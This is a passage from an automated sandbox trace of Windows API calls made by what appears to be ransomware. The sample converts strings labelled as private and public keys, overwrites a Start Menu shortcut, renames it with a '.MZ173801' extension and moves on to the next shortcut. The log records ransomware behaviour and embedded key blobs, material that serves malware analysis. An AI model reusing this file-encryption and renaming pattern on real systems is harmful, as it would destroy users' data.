57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0212.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0212.148] GetCurrentThreadId () returned 0xab4 [0212.148] GetCurrentThreadId () returned 0xab4 [0212.148] GetCurrentThreadId () returned 0xab4 [0212.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0212.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0212.148] GetCurrentThreadId () returned 0xab4 [0212.148] GetCurrentThreadId () returned 0xab4 [0212.149] GetCurrentThreadId () returned 0xab4 [0212.149] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0212.149] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0212.149] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0212.149] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x628 [0212.149] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0212.149] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x628, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x628, lpOverlapped=0x0) returned 1 [0212.180] CloseHandle (hObject=0x328) returned 1 [0212.180] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0212.183] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x628, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x628, lpOverlapped=0x0) returned 1 [0212.190] CloseHandle (hObject=0x328) returned 1 [0212.191] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk.mz173801")) returned 1 [0212.196] GetCurrentThreadId () returned 0xab4 [0212.197] GetCurrentThreadId () returned 0xab4 [0212.197] GetCurrentThreadId () returned 0xab4 [0212.197] GetCurrentThreadId () returned 0xab4 [0212.199] GetCurrentThreadId () returned 0xab4 [0212.199] GetCurrentThreadId () returned 0xab4 [0212.199] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4db984e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4db984e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4db984e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x999, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Word 2016.lnk", cAlternateFileName="WORD20~1.LNK")) returned 1 [0212.199] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0212.199] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0212.199] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Word 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\word 2016.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4db984e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4db984e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4db984e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x999)) returned 1 [0212.199] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Word 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\word 2016.lnk")) returned 0x20 [0212.199] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Word 2016.lnk", dwFileAttributes=0x80) returned 1 [0212.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0212.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOO